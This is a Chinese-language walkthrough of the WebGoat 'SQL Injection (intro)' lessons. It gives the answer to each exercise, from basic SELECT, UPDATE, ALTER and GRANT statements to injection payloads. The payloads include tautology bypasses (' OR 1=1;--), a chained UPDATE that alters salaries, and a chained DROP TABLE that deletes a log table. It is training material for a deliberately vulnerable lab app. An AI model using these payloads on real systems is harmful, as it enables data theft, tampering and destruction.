WebGoat通关攻略之 SQL Injection (intro)

SQL Injection (intro)

1. What is SQL?

本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department

sql 复制代码
SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'

成功通关!

2. Data Manipulation Language (DML)

本题练习的是Update 修改数据,将Tobi Barnett的department改为'Sales

sql 复制代码
UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'

成功通关!

3. Data Definition Language (DDL)

本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列

sql 复制代码
ALTER TABLE employees ADD phone varchar(20)

成功通关!

4. Data Control Language (DCL)

本题练习的是数据控制语句,需要授予用户组 "UnauthorizedUser"更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权

sql 复制代码
GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

成功通关!

5. What is SQL injection?

练习的是SQL注入

sql 复制代码
"SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";

6. Try It! String SQL injection

字符串型SQL注入讲解,执行的SQL语句是:

sql 复制代码
SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'

上述SQL语句的意思是:从user_data表中,寻找first_name='john',且last_name='Smith or 1=1'的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。

看到能输入or 1=1,是不是应该有一种使"where"后面出现"xxx or 1=1"的冲动,因为"where xxx or 1=1"这句话,不就跟没得条件一样吗,1=1是恒成立,"xxx or 1=1"恒成立。

那么我们可以这样输入:

如此填写之后,要执行的SQL语句,就会变成这样:

红框中的内容都变成了字符串,那么SQL语句就变成了:

SELECT * FROM use_data WHERE first_name='XXX' or '1'='1'这种形式,也就是where后面相当于没条件了。提交数据,可以看到:

成功通关!

7. Try It! Numeric SQL injection

本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id

原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。

sql 复制代码
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1

成功通关!

8. Compromising confidentiality with String SQL injection

本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据

sql 复制代码
Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;--

成功通关!

9. Compromising Integrity with Query chaining

本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点

sql 复制代码
Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--

成功通关!

10. Compromising Availability

本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可

我们可以先SELECT一下查看表中都有什么:

sql 复制代码
3SL99A' OR 1=1;DROP TABLE access_log;--

成功通关!